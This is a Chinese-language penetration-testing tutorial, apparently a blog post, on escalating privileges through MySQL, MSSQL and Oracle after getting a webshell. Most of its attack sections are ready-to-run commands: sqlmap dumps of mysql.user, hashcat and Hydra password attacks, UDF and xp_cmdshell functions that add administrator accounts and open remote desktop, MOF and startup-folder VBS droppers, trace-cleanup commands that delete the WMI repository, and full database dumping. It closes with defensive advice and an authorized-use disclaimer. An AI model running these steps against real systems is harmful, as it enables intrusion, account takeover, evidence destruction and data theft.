渗透测试之数据库提权全指南

在渗透测试的流程中,当我们通过 Web 漏洞拿到 Webshell 后,往往会遇到一个尴尬的局面:目标服务器系统补丁齐全,常规的系统溢出提权、内核提权全部失效。这时候,数据库提权就成了我们突破权限瓶颈的关键突破口 ------ 尤其是在 Windows 2003+phpStudy 这类经典的老旧运维环境中,数据库提权的成功率往往极高。

本文将从前提条件、账号获取、各类提权手法到防御方案,带你完整掌握数据库提权的全流程操作。


一、数据库提权的前提条件

要进行数据库提权,我们需要先确认两个核心前提,否则后续所有操作都无法开展:

  1. 获取数据库最高权限账号密码:也就是拥有 root(MySQL)、sa(MSSQL)这类超级管理员权限的数据库账号,这是我们操作数据库的基础。

  2. 数据库未做目录限制,且支持文件写入 :MySQL 的secure\_file\_priv配置项决定了数据库是否允许导入导出文件:

    • 当值为null:MySQL 不允许任何导入导出,提权直接失败

    • 当值为/tmp/:仅允许在 /tmp 目录操作,无法写入系统关键路径

    • 当值为空\&\#39;\&\#39;:不对导入导出目录做任何限制,这是我们提权的理想条件

我们可以通过以下 SQL 命令查看该配置:

复制代码
show VARIABLES like 'secure_file_priv';

同时,目标数据库最好开启远程连接,方便我们直接操作,当然如果没有开启,我们也可以通过 Webshell 上传本地脚本完成操作。


二、第一步:获取数据库最高权限账号密码

提权的第一步,是拿到数据库的管理员账号密码,常见的获取方式有以下四种:

2.1 SQL 注入:从注入点直接拖取账号

这是最常见的方式,当我们发现目标网站存在 SQL 注入点时,就可以通过 sqlmap 工具直接读取 MySQL 的系统库,拿到账号密码。

操作步骤:

  1. 首先探测注入点:
复制代码
python sqlmap.py -u "http://10.0.0.14:90/sql.php?id=1"
  1. 确认存在注入后,先查看目标的所有数据库:
复制代码
python sqlmap.py -u "http://10.0.0.14:90/sql.php?id=1" --dbs
  1. 我们的目标是 MySQL 的系统库mysql,查看该库下的表:
复制代码
python sqlmap.py -u "http://10.0.0.14:90/sql.php?id=1" -D mysql --tables
  1. 找到存储账号密码的user表,直接导出该表的所有数据:
复制代码
python sqlmap.py -u "http://10.0.0.14:90/sql.php?id=1" -D mysql -T user --columns --dump

导出后我们就能得到加密后的密码哈希,接下来可以通过 CMD5、somd5 这类在线解密网站,或者 hashcat 这类本地爆破工具,尝试破解明文密码:

复制代码
hashcat.exe -m 300 -a 3 你的密码哈希
# -m 300 表示破解MySQL4.1/5的哈希格式
# --show 可以查看已经破解出的密码

2.2 从数据库存储 / 备份文件中获取

运维人员通常会定期备份数据库,或者 MySQL 的原始数据文件就存放在 Web 可访问的路径下,我们拿到 Webshell 后就可以直接下载这些文件。

在 Windows 环境下,MySQL 的数据文件通常存放在C:\\phpStudy\\MySQL\\data\\下,每个表对应三个文件:

  • \.MYD:存储表的真实数据,我们要找的user\.myd就存储了账号密码信息

  • \.MYI:表的索引文件

  • \.frm:表结构定义文件

我们只需要下载mysql\\user\.myd文件,本地打开后就能找到加密后的账号密码,再通过解密工具破解即可。

2.3 查找网站数据库配置文件

绝大多数网站的数据库连接配置文件中,都会以明文形式存储数据库的账号密码!这是最简单的获取方式。

拿到 Webshell 后,我们只需要在网站目录下,搜索包含以下关键词的配置文件: conn、config、data、sql、common、inc

比如常见的config\.phpconn\.php这类文件,打开后就能直接看到明文的数据库账号密码,不需要任何破解!

2.4 暴力破解:弱口令爆破

如果前面的方式都没成功,我们还可以尝试爆破数据库的弱口令,不过这种方式成功率相对较低。

远程爆破:Hydra/Bruter

如果数据库开启了远程连接,我们可以用 Hydra(九头蛇,Kali 自带)或者 Bruter 图形化工具进行远程爆破:

Hydra 命令示例:

复制代码
# 爆破MySQL
hydra -l root -P /root/top100.txt -t 3 -s 3306 10.0.0.14 mysql
# 爆破MSSQL
hydra -l sa -P /root/top100.txt -t 8 -vV -s 1433 10.0.0.14 mssql

常见数据库默认端口:

数据库 默认端口
Oracle 1521
MySQL 3306
SQL Server 1433
PostgreSQL 5432
MongoDB 27017
Redis 6379
本地爆破:Webshell 上传脚本

如果数据库没有开启远程连接,只允许本地访问,我们可以上传爆破脚本到目标服务器,在本地执行爆破,绕过远程访问的限制。

不过要注意,爆破的成功率依赖于密码字典,而且频繁的连接请求很容易被安全设备拦截,所以这种方式一般作为最后的备选。


拿到账号密码之后,我们就可以通过菜刀这类工具连接数据库,进行后续的提权操作了:


三、MySQL 提权:三种经典提权手法

拿到 MySQL 的 root 权限后,我们有多种提权方式可以选择,最经典的就是 UDF 提权、MOF 提权和启动项提权。

3.1 UDF 提权:最通用的 MySQL 提权方式

UDF(User Defined Function,用户自定义函数)原本是 MySQL 提供的扩展功能,允许用户自定义函数来处理复杂查询,攻击者可以利用这个机制,上传恶意的 dll 文件,创建可以执行系统命令的自定义函数,从而实现提权。

操作步骤:
  1. 确认 MySQL 版本: 不同版本的 MySQL,dll 文件的上传路径不同:

    • 版本 < 5.2:上传到C:\\WINDOWS\\或者C:\\WINDOWS\\system32\\

    • 版本 >=5.2:上传到 MySQL 的lib/plugin目录,比如C:\\phpStudy\\MySQL\\lib\\plugin\\

    我们可以通过以下命令查看版本:

    复制代码
     select version();

    如果 plugin 目录不存在,我们可以通过 Webshell 手动创建该目录。

  2. 上传 UDF 的 dll 文件: 将对应系统版本的 udf.dll 文件,上传到刚才确认的路径下。

  3. 创建自定义命令执行函数: 执行 SQL 命令,加载 dll 文件,创建可以执行系统命令的函数:

    复制代码
     Create Function cmdshell returns string soname 'udf.dll';
  4. 执行系统命令,完成提权: 现在我们就可以调用这个函数,执行任意系统命令了:

    复制代码
     # 查看当前用户
     select cmdshell('whoami');
     # 添加系统管理员账号
     select cmdshell('net user xiaolin 123456 /add');
     select cmdshell('net localgroup administrators xiaolin /add');
     # 开启3389远程桌面
     Create Function open3389 returns string soname 'udf.dll';
     select open3389();

如果目标的 3306 端口被防火墙拦截,我们也可以直接上传 udf 提权脚本到目标站点,本地访问脚本完成提权,不需要远程连接数据库,这也是生产环境中最常用的方式。

3.2 MOF 提权:Windows2003 专属提权漏洞

MOF 提权是一个针对 Windows Server 2003 的经典漏洞,利用系统自动执行 mof 文件的机制来实现提权。

提权原理:

Windows 系统的C:/Windows/system32/wbem/mof/目录下的 mof 文件,会被系统每隔几秒自动执行,mof 文件中可以嵌入 VBS 脚本,从而执行任意系统命令。如果 MySQL 拥有该目录的写入权限,我们就可以把恶意 mof 文件写入该目录,让系统自动执行我们的命令。

操作步骤:
  1. 准备好恶意的 moon.mof 脚本,里面包含了添加管理员账号的 VBS 代码。

  2. 通过 Webshell 把该脚本上传到网站根目录。

  3. 执行 SQL 命令,把该脚本复制到系统的 mof 目录:

    复制代码
    select load_file('C:\\phpStudy\\WWW\\dz\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/mof.mof';
  4. 等待几秒,系统就会自动执行该脚本,帮我们创建好管理员账号。

提权后的清理:

提权完成后,我们需要清理痕迹,避免被管理员发现:

复制代码
net stop winmgmt
rmdir /s /q C:\Windows\system32\wbem\Repository\
del C:\Windows\system32\wbem\mof\good\moon.mof /F /S
net user admin /delete
net start winmgmt

3.3 启动项提权:利用开机自启动提权

启动项提权的思路很简单:我们通过 MySQL 的文件写入能力,把恶意的 VBS 脚本写入系统的启动项目录,等服务器重启后,脚本就会自动执行,帮我们创建管理员账号。

操作步骤:

依次执行以下 SQL 命令:

复制代码
# 1. 创建临时数据库
drop database test;
create database test;
use test;
​
# 2. 创建表,写入VBS脚本内容
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)");
​
# 3. 把脚本导出到启动项目录
select * from a into outfile "C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\b.vbs";

执行完成后,只需要等待服务器重启,重启后我们就拥有了一个名为 best 的管理员账号。如果我们能让服务器立刻重启(比如通过 MS12-020 这类蓝屏漏洞),就能马上拿到权限。


四、其他数据库提权方案

除了 MySQL,其他常见的数据库也有对应的提权方式:

4.1 MSSQL 提权:开启 xp_cmdshell

MSSQL 默认就开启远程连接,而且默认的 sa 账号拥有最高权限,提权的核心是开启xp\_cmdshell这个系统命令执行函数。

拿到 sa 账号密码后,连接数据库,依次执行以下命令开启 xp_cmdshell:

复制代码
# 允许配置高级选项
sp_configure 'show advanced options',1
reconfigure
go
# 开启xp_cmdshell
sp_configure 'xp_cmdshell',1
reconfigure
go

开启完成后,我们就可以通过 xp_cmdshell 执行任意系统命令,完成提权:

复制代码
xp_cmdshell 'net user xiaolin 123456 /add'
xp_cmdshell 'net localgroup administrators xiaolin /add'

4.2 Oracle 提权:OracleShell 工具

Oracle 数据库常见于 JSP/ASPX 站点,拿到 Oracle 的管理员账号后,我们可以使用oracleShell\.jar这个工具来完成提权:

复制代码
javaw -jar oracleShell.jar

连接数据库后,就可以直接执行系统命令,完成权限提升。


五、脱库操作与数据库安全防御

5.1 脱库:获取数据库全部数据

拿到数据库权限后,我们还可以进行脱库操作,获取目标的全部业务数据:

  1. 工具脱库:使用 Navicat 这类数据库管理工具,远程连接数据库,直接导出全部数据,优点是速度快、功能全,缺点是需要数据库支持远程连接。

  2. 脚本脱库:如果数据库不支持远程连接,我们可以上传脱库脚本到目标服务器,在本地执行导出,把数据打包后下载。

5.2 数据库安全防御方案

针对数据库提权这类攻击,我们可以通过以下措施进行防御:

  1. 限制数据库远程访问:不要把数据库端口暴露在公网,只允许内网 IP 访问,禁止 root@% 这类任意地址访问的账号。

  2. 最小权限原则:不要给网站数据库分配 root/sa 这类最高权限账号,为每个网站单独创建独立的数据库账号,严格限制权限。

  3. 强密码策略:数据库密码必须满足 8 位以上,包含数字、字母、特殊符号,避免弱口令。

  4. 三权分立:开发、运维、安全账号权限分离,避免一个账号拥有全部权限。

  5. 及时更新补丁:及时修复数据库的各类漏洞,比如 MOF 这类历史漏洞。

  6. 部署安全防护:部署 WAF 拦截恶意注入请求,安装数据库审计设备,监控异常的数据库操作。


写在最后

数据库提权是渗透测试中非常重要的一个环节,尤其是在系统提权失效的场景下,往往能成为我们拿下目标的关键。当然,本文仅用于安全研究与合法渗透测试,请勿用于未授权的非法攻击,否则将承担相应的法律责任。

参考链接

相关推荐
weelinking5 小时前
【2026】08_Claude与版本控制:Git协作技巧
数据库·人工智能·git·python·数据挖掘·交互·cloudera
黄焖鸡能干四碗10 小时前
固定资产管理系统建设方案和源码(Java源码)
大数据·数据库·人工智能·物联网·区块链
JoneBB10 小时前
ABAP Webservice连接
运维·开发语言·数据库·学习
解决问题no解决代码问题10 小时前
从乱码到脱敏导出:TiDB CSV 导出实战全指南
数据库
未若君雅裁11 小时前
MySQL高可用与扩展-主从复制读写分离分库分表
java·数据库·mysql
2401_8676239811 小时前
CSS Flex布局中如何设置子元素间距_掌握gap属性的现代用法
jvm·数据库·python
月落归舟11 小时前
一篇文章了解Redis内存淘汰机制与过期Key清理
数据库·redis·mybatis
phltxy11 小时前
Redis 事务
数据库·redis·缓存
康乾隆12 小时前
SQL Server Always On 重新添加从库步骤
数据库·sqlserver